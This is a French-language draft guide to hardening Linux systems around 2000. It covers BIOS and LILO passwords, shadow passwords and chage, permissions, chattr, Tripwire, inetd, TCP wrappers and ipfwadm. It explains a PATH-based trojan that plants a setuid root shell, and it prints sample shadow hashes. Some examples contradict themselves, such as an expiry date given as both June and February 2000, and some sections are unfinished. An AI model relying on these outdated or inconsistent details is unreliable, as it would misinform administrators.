Sécurité (aperçu)

1. Avant-propos

La plus récente version française de ce texte se trouve sur son site de référence. Le source SGML (dtd LinuxDoc) est lui aussi en ligne.
Seule la diffusion des versions non modifiées est autorisée.

Ce document est un brouillon. N'hésitez pas à me communiquer vos commentaires et suggestions. Je souhaite rendre les explications plus correctes, explicites et complètes, les volontaires (co-auteurs, relecteurs, conseillers ...) seront les bienvenus.

Nous ne traiterons pas ici d'un cas donné (niveau de sécurité souhaité, réseau ou pas, local sécurisé ou non ...), chacun choisira ici ce qui convient à son mode d'utilisation.

2. à intégrer

http://members.tripod.com/ robel/dni/

pas de compte sans mot de passe

comptes à shell /bin/false (attention : pas d'activité cron possible)

xautolock

politique de sauvegarde (pas sur place, rester la resto ...)

named tournant non root et chrooté (voir chrootuid) ?

3. Machine

3.1 BIOS

configurer le SETUP (BIOS) de sorte que la machine ne démarre pas grâce à un autre périphérique (disquette, CD ...) que le disque dur sur lequel se trouve Linux. Attention : cela n'offre pas un bon niveau de protection car de nombreux BIOS acceptent toujours un 'super' mot de passe (utilisé par les techniciens afin de réduire les manoeuvres nécessaires lorsque l'utilisateur a oublié le mot de passe).

Limiter l'accès :

• mot de passe utilisateur nécessaire lors du démarrage (attention : interdit à la machine de redémarrer seule après une panne d'alimentation)
• mot de passe superviseur requis pour accéder au SETUP

3.2 LILO

Le LILO (Linux Loader) est un chargeur de sytème d'exploitation au boot, principalement distribué avec linux, il fonctionne aussi avec d'autres systèmes d'exploitations (comme DOS, windows 98/NT, et différents types d'UNIX) Il ne dépend pas d'un système de fichier particulier et peu gérer le démarrage d'un système d'exploitation depuis différents support (disquette, disque dur, cdrom, ...). Si LILO est installé sur le système, il boot sur le système d'exploitation désiré. . Par défaut, LILO est configuré par votre systeme quand vous installer une distribution Linux.

Par défaut le fichier de configuration lilo.conf est en lecture pour tous le monde. La première chose à faire pour le protéger correctement est de changer ses droits, en lui attribuant un accès en lecture et écriture seulement pour le compte ROOT, et de modifier ses attributs pour qu'il devienne non modifiable, par le biais de la commande chattr, nous reviendrons plus loin sur la commande chattr dans la suite de ce document. La modification du fichier doit être réalisée de cette facon :

# chmod 600 /etc/lilo.conf
# chattr +i /etc/lilo.conf

Ensuite il nous faut proteger le démarrage de la machine contre la fonction linux single qui pourrait être utilisée abusivement, certains système comme Redhat permet de modifier le mot de passe ROOT en passant par ce type de démarrage, pour cela utiliser la fonction "password" et "restricted" dans le fichier de configuration de LILO (/etc/lilo.conf).

boot=/dev/hda
map=/boot/map
install=/boot/boot.b
prompt
timeout=50
default=linux
restricted
password=mot de passe
image=/boot/vmlinuz-2.2.14-5.0
        label=linux
        read-only
        root=/dev/hda1

Ne pas utiliser le mot de passe de root à ce niveau, mais mémoriser celui qui sera utilisé afin de pouvoir redémarrer en mode single en cas de problème">. Le mot de passe étant en clair, la modification des droits sur le fichier était nécessaire.

Remarque :

Il existe deux modes pour booter son systeme, linux ou test. le démarrage par la commande linux est utilisé pour les noyaux stables, et la commande test pour des noyaux en cours de développement. L'argument single n'est un exécuté par LILO, mais adressé au noyau pour l'executé, il permet d'executer son noyau en mode ...à définir. Pour plus d'informations sur LILO, voir le document (rajouter lien)....

3.3 interdire l'accès physique à la carte mère et au disque dur.

Au minimum : verrouiller le capot. Raison : pour accéder aux données il suffit de démonter un disque et de le remonter dans une autre machine.

3.4 ne pas installer d'autre système d'exploitation sur le disque dedémarrage,

car des pilotes logiciels destinés à d'autres systèmes permettent de lire les partitions ext2 sans limitations (sans respect des attributs des fichiers)

4. les packages

4.1 Verifier vos packages avec RPM

la commande RPM fournit sur certaines distributions permet de verifier que les packages installés n'ont pas étaient modifier. Pour cela vous pouvez vérifier le somme de controle de chaque paquets (S), ses permissions (M), et sa signature (MD5), LE numéro majeur et mineur (D), les liens symboliques (L), le propritaire (U), le groupe (G) et la l'heure de modification. les packages sont vérifiés en utilisant le paramètre -V à la suite de rpm. dans l'exemple suivant nous pouvons verifier le fichier

5. les droits utilisateurs et le sytème de fichiers

5.1 Les mots de passe

Pour protéger correctement votre fichier de mots de passe, il est nécessaire d'installer et d'utiliser la suite shadow password, les mots de passe y sont conservés sous forme hachés et seul le compte ROOT à des droits en écriture et lecture sur le fichier des mots de passe. Si vous n'utilisez pas la suite shadow password les mots de passe seront conservés dans le fichier /etc/passwd, ce fichier est en lecture pour tous le monde par défaut. Un utilsateur pourrais alors copier ce fichier et tenter de déchiffrer les mots de passe sur un autre ordinateur par une attaque de type brute force ou par dictionnaire, avec un logiciel comme Crack. Il d'ailleurs recommandé d'utiliser ce logiciel pour tester la qualité des mots de passe de votre système

De plus, pour améliorer de façon efficace la gestion vos mots de passe, il est important de les définir dans une période de temps de donnée, la qualité d'un mot de passe est soumise au temps et à sa longueur, un mots de passe de 6 lettres, ne tient pas plus de deux par une attaque brute force. L'utilisation de la suite shadow permet de définir une période de vie au mot de passe, un certain nombre d'éléments apparaissent à la lecture du fichier /etc/shadow

root:$1$jvuqrLtK$Klff6Dx7/Wn72jqspkq:11076:0:99999:7:-1:-1:134539268
bin:$1$odfqiaze4512q:11075:0:99999:7:::
daemon:*:11075:0:99999:7:::
shutdown:$1$sdf8qfqTG4FG48sdzTSù$:11075:0:99999:7:::
halt:*:11075:0:99999:7:::
mail:*:11075:0:99999:7:::
gerard:$1$yWI03tU3$S2k7iBn0IJNbcDsOOMyVOG47.:11075:14:30:7:::134540380

• Le champs 1 est le nom, géré par les commandes : useradd, usermode et userdel
• Le champs 2 est le mot de passe, géré par la commande : passwd
• Le champs 3 est le date du dernier changement de mot de passe, géré par les commandes : passwd et chage -d.
• Le champs 4 indique le nombre de jours minimum avant de changer le mot de passe, géré par la commande : chage -m
• Le champs 5 indique le nombre de jours maximum avant de changer le mot de passe, géré par la commande : chage -M
• Le champs 6 indique le nombre de jours avant que l'utilisateur soit averti qu'il doit changer son mot de passe, géré par la commande : chage -W
• Le champs 7 indique le nombre de jours avant le blocage du mot de passe après expiration de celui-ci, géré par la commande : chage -I
• Le champs 8 indique la date d'expiration de ce mot de passe (à minuit du jours indiqué), géré par la commande : chage -E
• Le champs 9 n'est pas utilsé pour l'instant.

La commande chage nécessite les droits ROOT sauf pour l'option -l. Voici un petit exemple de commande de base :

chage -m 20 -M 40 gerard

permet de donner à gerard, 20 jours minimun et 40 jours maximum pour changer son mot de passe.

chage -E 06/30/2000 gerard (date anglaise)

le mot de passe de gerard expirera en février 2000

chage -l gerard
Minimum :       20
Maximum :       40
Avertissement : 7
Désactivé :     7
Dernier changement :            mai 02, 2000
Expiration du mot de passe :    jun 11, 2000
Password Inactive:      jun 18, 2000
Account Expires:        jun 30, 2000

Si vous désirez utiliser une politique globale pour la gestion de vie des mots de passe, vous pourrez utiliser le fichier login.defs, il permet d'appliquer une périodicité des mots de passe à l'ensemble des utilisateurs, excepté au compte ROOT. je ne détaillerais pas ici l'ensemble du fichier, mais seulement la partie 'password aging', qui contient la gestion du temps de vie d'un mot de passe, par le biais de quatre champs : PASS_MAX_DAYS, PASS_MIN_DAY, PASS_MIN_LEN, PASS_WARN_AGE. qui correspondent au même champs minimun, maximun et avertissement du fichier shadow, le champs PASS_MIN_LEN est la longueur minimun du mot de passe, si vous utiliser PAM celui ci sera prioritaire et ce champs ne sera pas pris en compte dans login.defs.

Dans le cas de l'utilisation conjointe de shadow et de login.defs, la priorité s'appliquera à shadow, en cas d'absence de champs de temps dans shadow, login.defs prendra la relève.

le fichier login.defs est un fichier important dans la gestion de la connexion et des accès. IL permet entre autre de parametrer la réaction sur le mot de passe et la connexion, comme le LOGIN_RETRIES, qui permet de configurer le nombre de fois que l'on peut saisir son mot de passe avant le système ne se bloque, FAIL_DELAY le delai de temps entre deux tentatives de connexions qui ont échoués.

5.2 Le compte ROOT

Le compte ROOT, appelé aussi super utilisateur, parce qu'il possède tous les droits sur le système. L'emploi de se compte doit se faire de facon très restrictives. Ne laisser le compte root qu'à des personnes de confiance. Même à titre temporaire, car il existe des méthodes grâce auxquelles un utilisateur root peut modifier le système de façon à pouvoir redevenir maître facilement malgré tout changement du mot de passe.

(sbi) Ne pas placer de point ('.') dans la variable d'environnement PATH du compte root car si un pirate réalise chez lui un fichier exécutable qui pirate celui qui le lance, il peut l'appeler d'un nom que la victime a de bonnes chances de taper, par exemple ls (mais en général le point est à la fin du PATH, c'est donc en ce cas le binaire ls du système qui sera invoqué) ou bien d'une faute de frappe fréquente (``ks''par exemple) alors tu exécuteras cela et le programme piratera. Il créera par exemple une copie de /bin/sh avec bit s de la victime (donc root) quelque part sur le système à un endroit discret, afin de pouvoir l'employer par la suite.

Miniser le détournement du compte ROOT, il existe deux possibilités de base pour minimiser l'impact du détournement du compte ROOT

1. Chiffrer les fichiers sensibles avec des outils comme CFS ou TCFS et PGP
2. Réaliser un sauvegarde précise de vos données à périodicité régulière avec des outils comme tripwire, tiger, ou d'autres logiciels similaires.

5.3 Le compte utilisateur

De base chaque compte utilisateur est créée avec plusieurs identifiants (UID, GID), ces acronymes correspondent au numéro d'utilisateur et au numéro de groupe utilisateur. Ils ont conservés dans le fichier /etcv/password en lecture pour tous le monde.

l'attribution d'une plage minimun et maximum pour l'UID et le GID peut-être définit depuis le fichier login.defs

5.4 gestion des comptes groupes

chaque membre d'un groupe est identifié dans le fichier /etc/group, par le nom du group est son GID, à la suite se trouve la liste desutilisateurs faisant parties de ce groupe, pour ajouter un utilisateur à un groupe il suffit de la saisir à la suite du groupe désiré. Le GID à le même numéro que l'UID, cette procédure du système est appelé UPG (user private group), l'avantage de cette solution est que chaqueutilisateur a son propre groupe. les mots de passe pour le groupe sont conservés dans le fichier /etc/gshadow si vous utilisez la suite shadow,

5.5 Permission sur les fichiers et les répertoires

Etablir une protection efficace sur les fichiers et les répertoires et nécessaire à la sécurisation de votre système, afin de ne pas compromettre votre environnement. Beaucoup de vulnérabilité apparaissent par ce que vos fichiers ne sont pas correctement sécurisés. Par la commande ls -l vous afficher le type de fichier et ses permissions. Les permissions sur les fichiers apparaissent sous forme de triplet. Le premier triplet affiche les droits pour l'utilisateur, le deuxième triplet affiche les droits du groupe, et le dernier triplet affiche les autres utilisateurs.

#ls -l
drwxr-xr-x   9 root     root         4096 Apr 11 23:50 mimelnk
drwxr-xr-x   4 root     root         4096 Apr 11 23:45 ogonkify
-rw-r--r--   1 root     root         2181 Nov 18 16:50 panelrc
-rw-r--r--   1 root     root        47910 Jul  6  1999 pci.ids
-r-s--x--x   1 root     root        22312 Sep 25  1999 passwd

• r=lecture
• w=écriture
• x=executable
• s=set UID ou set GID, cet attribut peut être seulement trouvé en troisième position du triplet utilisateur ou de groupe; La permission x sur le fichier peut-être remplacée par la permission s qu'on peut affecter au propriétaire et/ou au groupe du fichier. Cette permission indique que le fichier est exécutable et que pendant son exécution on prend les droits du propriétaire et/ou du groupe du fichier exécutable. (ex : le programme passwd)
• t= Le sticky bit, cette attribut apparait à la place du champs x de la section autres. Il ne s'applique qu'au fichier exécutable et au répertoire. Cet attribut indique que le segment texte d'un fichier exécutable n'est "swappé out" qu'une seule fois, et qu'il est conservé dans l'espace disque de swap une fois la commande terminée. Ce mécanisme réduit donc le nombre de "swap out" et permet un chargement en mémoire plus rapide lors d'une éxecution ultérieur de la commande.

Définir le masque de création des fichiers

La commande umask permet de positionner un masque définissant les permissions attribuées aux fichiers lors de leur création. Le masque est le complément à 1 des permissions désirées. Il est exprimé en notation octale.

Le masque par défaut appliqué aux fichiers est mis en place généralement par le fichier /etc/profile, positionner à 022 ou 027

Attribuer un umask de 027, signifie que tous les fichiers créés seront u=rwx,g=rx,o=, à tous les utilisateurs par exemple en plaçant une ligne :

umask 027

dans /etc/profile. Ceci vaut tout particulèrement pour root.

La commande bash « umask -S » présentera ce masque de façon explicite.

utiliser la commande chattr

La commande chattr permet de changer les attributs d'un fichiers par rapport au système de fichier. Le format de base se composez de la commande chattr +-=[ASacdisu], la commande lsattr permet de lister les attributs du fichier et/ou répertoire.

Nous utiliserons cette commande afin de rendre non modifiables ("immutables") les binaires setuid et certains fichiers importants /etc/passwd, /etc/gshadow, /etc/shadow, les bibliothèques partagées (fichier .so) ...

exemple :

chattr +i /etc/passwd

rendre "immutables" le fichier /etc/passwd

Explication : certaines attaques mettent en oeuvre un binaire privilégié installé sur le système qui, à cause d'erreurs de programmation, permet dans certaines conditions d'écraser un fichier existant, par exemple afin de le remplacer par un code dangereux. Cela offre parfois au pirate un moyen de remplacer le contenu d'un binaire setuid existant par ce que bon lui semble.

chattr permet d'interdire cela en rendant un fichier non modifiable.

Exemple :

find / -type f -perm -4000 | xargs -r chattr -V +i

La commande présentée analyse tout le disque. Si cela semble inutile remplacer le / par les répertoire abritant des binaires, par exemple /bin /sbin /usr/sbin /usr/local/bin /usr/local/sbin /usr/local/etc /usr/X11R6/bin. Protégrer aussi les autres binaires critiques, par exemple ceux du serveur de news (souvent dans /usr/lib/news/bin). Inconvénient : il faut à nouveau utiliser chattr avant d'installer une mise à jour des programmes.

Grâce à chattr (attribut 'A') les fichiers journaux (logs) pourront bientôt être déclarés de sorte que "seuls des ajouts y soient possibles" ("append-only").

6. Tripwire

6.1 Présentation

Tripwire permet de vérifier l'intégrité d'un système Unix. Il permet de détecter la modification de fichiers et de répertoires, ceci en comparant l'état actuel avecun état précédent, qui aura été soigneusement sauvegardé ailleurs. Tripwire est un bon compléments aux autres outils de sécurité du domaine public tels que : COPS, TIGER, CRACK, COPS, S/KEY, ANLPASSWD, etc.

6.2 Principe

Ce produit travaille à l'aide d'un fichier de configuration qui va contenir des binômes de la forme:

Nom de la ressource à surveiller Critères de surveillance

Chaque ressource peut avoir son propre masque de critères de surveillance. On peut contrôler l'intégriter de:

une arborescence complète de fichiers;

une partie seulement de cette arborescence;

un simple élément de cette arborescence.

Les critères de surveillance sont :

tous les champs de l'inode;

le contenu du fichier lui-même par génération par sceau à l'aide d'algorithmes de chiffrement tels que MD4 ou MD5.

On pourra calculer plusieurs signatures pour une même ressource si on estime qu'elle est très sensible. Mais attention, il faut bien voir que:

plus une signature est courte moins elle est fiable;

plus une signature est longue, plus elle est sure, mais elle consomme plus de CPU.

Donc il faut bien faire attention au éléments suivants:

le nombre de ressources sur lesquelles on calcul une ou des signatures;

la puissance de votre machine;

la taille des fichiers sur lesquels on va calculer cette signature.

Toutes ces informations calculées ou recherchées par Tripwire seront mises dans un fichier qu'il appelle sa base de données. C'est en fait un fichier tete standard Uni avec des informations codées et d'autres en clair. Dans ce fichier, il y aura un enregistrement par ressource surveillée. C'est ce fichier qui servira de référence pour trouver les différences entre 2 passages de Tripwire.

6.3 Fonctionnement

Tripwire à 4 modes de fontionnement. Chacun de ces modes correspond à une fonction particulière :

Initialisation mode : à utiliser au premier appel pour initialiser la base de données.

Checking mode : mode de surveillance qui ne modifie pas la base données. Il donne simplement entre 2 passages les fichiers supprimés, ajoutés ou modifiés.

Updating mode: met à jour la base de données selectivement sans la regénérer.

Interactive mode: demande à l'administrateur de valider les différences et recrée une nouvelle base de données de référence.

Dans ces 4 modes de fonctionnement, Tripwire travaille en 5 phases d'exécution :

lecture du fichier de configuration qui contient les entrées à traiter pour en faire une analyse syntaxique;

génération d'une liste des entrées à traiter;

génération d'une base de données temporaire pour les entrées de la phase précédente;

recherche des différence entre cette base de données et celle de référence créee à l'exécution précédente de Tripwire.

génération d'un rapport d'anomalies pour toutes les différences trouvées entre les bases de données.

6.4 Le fichier de configuration

C'est le point stratégique du produit. C'est lui qui va contenir les entrées, fichiers ou répertoires à surveiller. Pour déterminer les critères de surveillance, on associera à chaque entrée un masque de traitement. C'est un masque qui va contenir les options que l'on aura choisi de surveiller. Donc on y trouvera les champs de l'inode à vérifier ainsi que le ou les types de signature à appliquer au fichier si on a choisi cette stratégie. On a également la possibilité de faire précéder le nom de l'entrée d'un attribut de traitement particulier. Ce préfixe va indiquer si on traite ou non ou partiellement cette entrée. Le nom du fichier de configuration est codé en dur dans l'exécutable Tripwire pour des raisons de sécurité. On paramétrera ce nom dans un fichier "config.h" qui sera utilisé à la compilation. Un certain nombre d'exemples de fichiers de configuration pour différents types de plateformes sont livrés avec le produit. Il faudra les adapter à son environnement

6.5 La base de données

C'est un fichier texte unix. Il va contenir un enregistrment par entrée traitée conformément au fichier de configuration. Comme pour le fichier de configuration son nom est codé en dur dans l'exécutable Tripwire pour la meme raison. Ce fichier contient toujours 21 champs par entrée. Les champs sont soit validés s'ils font partie du masque de critères à surveiller, soit à 0 s'ils sont ne sont pas dans le masque. La structure est la suivante:

le nom de l'entrée;

2 champs propres à Tripwire

9 champs pour les différentes valeurs de l'inode que l'on veut surveiller;

10 champs pour les différents types de signatures que l'on peut calculer et qui sont toutes proposées en standard dans Tripwire.

Cette base données peut devenir rapidement assez importante en taille, si l'on veut surveiller beaucoup de fichiers et de répertoires avec beaucoup d'attributs et de signatures. D'ou l'importance de bien coder son fichier de configuration.

6.6 Le rapport d'exécution

Dans ses 4 modes de fonctionnement, Tripwire donne un rapport d'exécution. Dans ce rapport on trouvera :

Le nom des fichiers qui ont été détruit depuis la dernière exécution de Tripwire;

Le nom des fichiers créées depuis la dernière exécution de Tripwire.

Le nom des fichiers pour lesquels il y a eu une ou des modifications (modifications de l'inode ou le contenu du fichier). Dans le cas de modification, le rapport donne :

la valeur actuelle du ou des champs modifiés;

la valeur qui se trouve dans la base de données de référence de la dernière exécuion de Tripwire.

Ce rapport d'exécution est très important et c'est lui qu'il faudra analyser à chaque exécution de Tripwire.

6.7 Conclusion

Il faut exécuter ce produit régulièrement en "checking mode", dans un cron par exemple. Puis quand le nombre de modifications le justifie faire une exécution en "interactive mode" pour refaire une base de données à jour qui reflète aussi bien que possible l'état du sytème.

Pour que ce produit soit efficace, il faudrait que le premier passage d'exécution de Tripwire se fasse sur un système qui vient d'être généré, et non encore connecté au réseau. Ceci pour minimiser au maximum les chances d'avoir un système qui n'a pas déjà été altéré.

Tripwire n'a pas besoin de privilège particulier. Il facile à mettre en oeuvre, ne demande pas trop de ressources, et donne des indications préciseuses sur les modifications apportées au système. Il est facilement adaptable à son environnement et modifiable grâce à son fichier de configuration. Tripwire tourne sur un grand nombre de plate-formes. Dans sa distribution, il y a un fichier "PORTED" qui indique les spécificités de chaque machine avec les modifications à faire dans le makefile pour installer ce produit sans problème.

7. IP

7.1 Aperçu

Un protocole réseau permet aux ordinateurs d'échanger des données dans une sorte de 'langue' commune, indépendante du système d'exploitation sous-jacent. Cette langue concerne surtout l'acheminement des données, et non leur signification. IP (l'Internet Protocol) est donc en quelque sorte l'un des 'services postaux' utilisables (d'autres protocoles existent, mais IP est le plus répandu car tout l'Internet repose sur lui). Il permet à une machine d'expédier des données, mais il appartiendra aux programmes de les interpréter.

La « pile » IP est un groupe de protocoles interdépendants car chacun d'eux s'appuie sur un ou plusieurs autres, c'est pourquoi on emploie le mot « pile » pour désigner une implantation.

IP crée des tuyaux virtuels entre toutes les interfaces interconnectés. Par 'interface' on entend 'organe grâce auquel une machine se trouve connectée à un réseau', par exemple une carte Ethernet ou un lien PPP reposant sur un modem. Chaque machine peut disposer d'un nombre quelconque d'interfaces. Chaque interface peut correspondre à plusieurs numéros IP.

Chaque interface raccorde l'hôte à au moins un type de support. Il s'agit le plus souvent d'un câble coaxial ou d'une paire torsadée (pour l'Ethernet) mais aussi, de plus en plus souvent, de divers autres types de couches physiques : modem, fibre optique, antenne, émetteur/récepteur infrarouge, laser, réseau électrique ...

Grâce à TCP/IP les développeurs réalisent des programmes exploitant le réseau sans se soucier des caractéristiques de la couche physique car le protocole ajoute des niveaux d'abstraction salvateurs.

TCP/IP propose aux programmes deux modes (principaux) d'acheminement des données : UDP et TCP. Le premier se contente d'acheminer les paquets de données, sans vérifier leur séquencement (ordre d'arrivée correspondant à l'ordre d'émission) ou bonne réception. TCP, lui, est plus sûr, car il garantit le séquencement et la bonne réception, mais aussi plus lourd.

Pour expédier des données via TCP/IP un logiciel utilise des fonctions du système relativement simples auxquelles il précise l'identité de la machine destinatrice (son nom ou numéro IP, cela revient au même), le type de protocole souhaité (TCP ou UDP, le plus souvent) et un numéro de « port » sur lequel la connexion sera établie.

Le système accorde alors au programme une sorte de jeton associé à la connexion ainsi établie. Le programme peut l'utiliser pour y écrire ou lire, presque comme dans un fichier. Unix s'occupe de tout. Ceux qui maîtrisent le langage C pourront lire à ce propos Les sockets - Initiation

Le port s'apparente aux numéros de postes des téléphones affectés aux divers services d'une entreprise, où chacun détermine à qui faire appel en fonction du service attendu.

Un 'service', sous Unix, est un ensemble de fonctions offertes par une machine. Cela peut concerner l'échange de fichiers, le courrier électronique, la mise à l'heure des machines ...

De nombreux services sont offerts « sur » (lire 'via') TCP/IP. Tout programme installé sur une machine du réseau peut donc en bénéficier en contactant le serveur, via le réseau. C'est très exactement ainsi que fonctionne le Web, par exemple : des paquets IP circulent entre le serveur Web et le 'browser' (client).

Même un programme client installé sur le serveur procédera exactement comme s'il se trouvait à distance. Il interagira avec un serveur nommé "localhost", "127.0.0.1" ou bien "le-nom-de-la-machine-locale" (qui désignent tous la machine locale), et les paquets emprunteront donc une interface 'loopback', spécialement chargée de convoyer les paquets entre deux programmes installés sur la même machine. Cela semble étrange mais est en fait élégant car n'oblige pas les programmes clients et serveurs à fonctionner différemment selon que le serveur est ou non local.

Chaque port TCP ou UDP d'une machine donnée peut correspondre à un service, par exemple FTP ou telnet, offert sur le serveur par un logiciel adéquat. Chaque service porte un nom, et la liste des affectations de ports aux divers noms de services se trouve dans le fichier /etc/services. Une RFC (un document figeant des conventions) dresse liste des affectations recommandées. Le service telnet, par exemple, emploie par défaut le port TCP numéro 23. Rien n'oblige un administrateur de machine à respecter ces conventions.

Tout cela reste en fait un peu plus compliqué et plus souple, mais un plus détaillé serait inutile ici.

Il existe deux façons d'ajouter un service à une machine donnée.

La première consiste à lancer le logiciel chargé de l'assurer, en lui permettant de 'se lier' (fonction bind()) au port puis d'y 'écouter' (fonction listen) les demandes des clients. Divers documents traitent de tout cela. Le logiciel serveur ainsi lancé en mode « démon » fonctionnera tout le temps, ce qui peut inquiéter (consommation de mémoire vive et de puissance processeur) mais Unix est bien conçu : les tâches inactives descendent dans la mémoire virtuelle (et n'occupent donc pas indûment de la mémoire vive) et ne s'arrogent pas de puissance processeur car le noyau ne les « réveille » qu'en cas de détection d'activité sur le port concerné (donc lorsqu'un client demande quelque chose). Sur la plupart des serveurs ces démons sont lancés, lors du démarrage de la machine, par le programme init via les scripts placés sous etc/rc*.

L'autre approche met en scène inetd, le « superserveur ». Ce démon écoute tous les ports et, en cas d'activité, lance le programme serveur adéquat, qui servira la (ou les) requête(s) puis s'interrompra. Grâce à inetd il n'est donc pas nécessaire de laisser simultanément actifs tous les programmes serveurs. Le fichier /etc/inetd.conf abrite ses paramètres.

7.2 Inetd

Unix met à disposition des utilisateurs plusieurs services réseaux, tels que ftp, telnet, finger, etc... Inetd est un serveur, livré en standard, qui regroupe et gère le lancement de la plupart de ces services réseaux. En effet il est chargé d'attendre les demandes de connexion et de fournir le service demandé. La plupart des services ainsi lancés, et commande leur arrêt lorsque leur tâche est remplie. Ce service permet de minimiser le nombre de processus présent dans le systèmes.

Configuration de Inetd

Le fichier /etc/inetd.conf permet de configurer inetd. Il comporte la liste des ports réseau qui doivent être surveillés par le processus, et quels processus doivent être lancés en réponse à une requêtes présentée sur l'un de ces ports.

#echo   stream  tcp     nowait  root    internal
#echo   dgram   udp     wait    root    internal
#discard        stream  tcp     nowait  root    internal
#discard        dgram   udp     wait    root    internal
#daytime        stream  tcp     nowait  root    internal
#daytime        dgram   udp     wait    root    internal
#chargen        stream  tcp     nowait  root    internal
#chargen        dgram   udp     wait    root    internal
#time   stream  tcp     nowait  root    internal
#time   dgram   udp     wait    root    internal
#
# These are standard services.
#
ftp     stream  tcp     nowait  root    /usr/sbin/tcpd  in.ftpd -l -a
#telnet stream  tcp     nowait  root    /usr/sbin/tcpd  in.telnetd

• La première colonne contient le nom du service qui doit être surveillé. La correspondance entre le nom du service et le numéro du port est établie par le fichier /etc/service
• Le type de socket dont le service qui doit être démarré a besoin est indiqué dans la deuxième colonne. Les valeurs possibles sont stream, dgram ou raw. En règle générale c'est le type stream qui est utilisé pour les cnnexions TCP (orientées connexion), alors que c'est le type dgram qui sert pour les connexions UDP. Le type raw n'est jamais utilisé.
• La troisième colonne indique le protocole utilisé. La correspondance entre le nom du protocole et son numéro est établie dans le fichier /etc/protocols. Celui-ci contient à côté de chaque protocole son numéro et éventuellement son alias. Un service peut être actif de manière sélective, il existe deux fichiers pour la gestion des droits sur les service (hosts.allow et hosts.deny), voir ssection Inetd pour plus d'informations.

7.3 TCP wrapper - tcpd

En complément du serveur inetd, il existe un logiciel qui offre la possibilité de contrôler quels ordinateurs peuvent utiliser quels services réseaU. En outre il existe la possibilité d'assurer une journalisation par le biais de syslog.

Chaque service TCP est lancé par un super serveur nommé inetd, chaque service exécuté par inetd pour est remplacé par le wrapper tcpd, qui va permettre de vérifier les droits de l'utilisateur à exécuté tel ou tel service, ce serveur se nomme tcpd. Le serveur tcpd s'installe de manière logique entre inetd et ses sous serveurs. Les processus réseau ne sont donc plus lancés par inetd, mais celui-ci démarre d'abord tcpd qui lance à son tour le processus désiré.

Configuration

Il suffit de réaliser des opérations suivantes pour configurer tcpd:

1. Modifier le fichier /etc/inetd.conf
2. Envoyer un signal hangup
3. Créer le fichier /etc/hosts.allow
4. Créer le fichier /etc/hosts.deny

Modifier le fichier /etc/inetd.conf

ftp     stream  tcp     nowait  root    /usr/sbin/ftpd  in.ftpd -l -a
telnet stream  tcp     nowait  root    /usr/sbin/telnetd  in.telnetd

ftp     stream  tcp     nowait  root    /usr/sbin/tcpd  in.ftpd -l -a
telnet stream  tcp     nowait  root    /usr/sbin/tcpd  in.telnetd

Il suffit de forcer la relecture du fichier de configuration /etc/inetd.conf par le serveur inetd en lui envoyant un signal hangup (kill -HUP inetd.

Le contrôle d'accès

Le serveur tcpd vérifie les droits d'accès aux services réseau en analysant le contenu des fichiers /etc/hosts.allow et /etc/hosts.deny. Les règles suivantes doivent être respectées pour ce contrôle:

• L'accès est autorisé si une entrée du fichier /etc/hosts.allow accorde au(x) client(s) un droit d'accès à un service réseau. Si le client est trouvé dans ce premier fichier, le fichier /etc/hosts.deny n'est pas analysé.
• L'accès est refusé si une entrée du fichier /etc/hosts.deny refuse l'accès au(x) client(s) l'accès à un service réseau.
• Si le client n'est pas trouvé dans aucun fichier, laccès est autoriser.
• Si les fichiers /etc/hosts.allow et /etc/hosts.deny n'existe pas, l'accès est autorisé. La situation est traitée de la même manière que si les fichiers étaient vides.

• ALL : Ce modèle universel est toujours verifié.
• LOCAL : Tous les noms d'ordinateurs qui ne contient pas de point.
• UNKNOWN : Ce modèle de recherche désigne les noms d'ordinateurs et tous les utilisateurs inconnus. Il ne faut pas utiliser ces paramètres qu'avec les plus extrèmes précautions, car une panne de serveur de noms renvoie tous les noms d'ordinateurs comme s'ils étaient inconnus.
• PARANOID : Ce modèle de recherche désigne tous les ordinateurs dont le nom et l'adresse IP ne correspondent pas.

Outre le refus d'accès à certains ordinateurs ou groupe d'ordinateurs à certains services réseau, il est également possible de lancer l'eécution d'une commande shell par tcpd, lors de l'accès d'un ordinateur. Cette possibilité est très intéressante pour l'enregistrment des accès réseau (journalisation). A la suite les différentes variables que tcpd peut utiliser pour rendre le fichier journal plus explicite:

• %a(%A): Adresse IP du client ou du serveur
• %c : Informations du client sous l'une des formes : utilisateur@ordinateur, utilisateur@adresse, nom d'ordinateur, adresse ordinateur, la forme utilisée dépend des informations disponibles.
• %d : Le nom du processus serveur.
• %h(%H): Nom du client ou du serveur, dans la mesure ou il est disponible, sinon c'est l'adresse qui est indiquée, comme pour %a.
• %p : Identification du processus serveur.
• %s : Informations du serveur, sous l'une des formes : serveur@ordinateur ou nom de serveur, selon les informations disponibles.
• %u : Nom de l'utilisateur sur le client.
• %% : le caractère % lui-même.

Pour permettre l'exécution de commandes, tcpd à besoin d'informations sur la manière de réaliser l'opération. Les deux modes de démarrage sont :

• spawn : l'exécution de la commande est réalisé après substitution dans un processus enfant créé par tcpd, par un subshell. Les canaux d'entrée, de sortie et d'erreur par défaut sont reliés dev/null, de telle sorte qu'il n'est pas possible de réaliser de transfert de données avec le processus demandeur (processus client).
• twist : Le processus est en cours est remplacé par une instance de la commande shell, après substitution des variables. Les canaux d'entrée, de sortie et d'erreur sont connectés au processus client. Cette option doit se trouver à la fin de la ligne. Remarque : Vous trouverez des informations complémentaires dans les pages du manuel /etc/hosts.allow et /etc/hosts.deny

nommachine ~ telnet localhost
Trying 127.0.0.1...
Connected to nommachine
Escape character is '^]'.
Connection closed by foreign host.

nommachine ~ telnet localhost
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused

ppp0      Link encap:Point-Point Protocol
          inet addr:votreIP

tcp  votreIP 325 209.239.33.1 16482 40 44
tcp  votreIP 323 209.239.33.1 16474 40 44
tcp  votreIP 321 209.239.33.1 16460 40 44
tcp  votreIP 322 209.239.33.1 16461 40 44

• fonctionnent dans un contexte privilégié (trop souvent root)
• ne sont pas exempts de bugs. les pirates les découvrent et les exploitent, souvent afin de pouvoir disposer du compte root

• "exploit" (programme destiné à exploiter une faille du logiciel), par exemple afin de passer root ou bien de crasher le noyau).
• "denial of service" : l'attaquant tente de rendre certains services inutilisables.
• "backdoor". Dans un programme client ou serveur.
• "bugs"

#!/bin/sh
ipfwadm -I -a reject -o -S "$1"/0 -D 0.0.0.0/0 -P all

7.4 Firewalling

Le programme 'ipfwadm' permet de configurer le mode de traitement des paquets IP assuré par le noyau.

ipfwadm : toujours compiler un noyau avec CONFIG_IP_ALWAYS_DEFRAG, et SYN COOKIES et "IP: drop source routed frames"

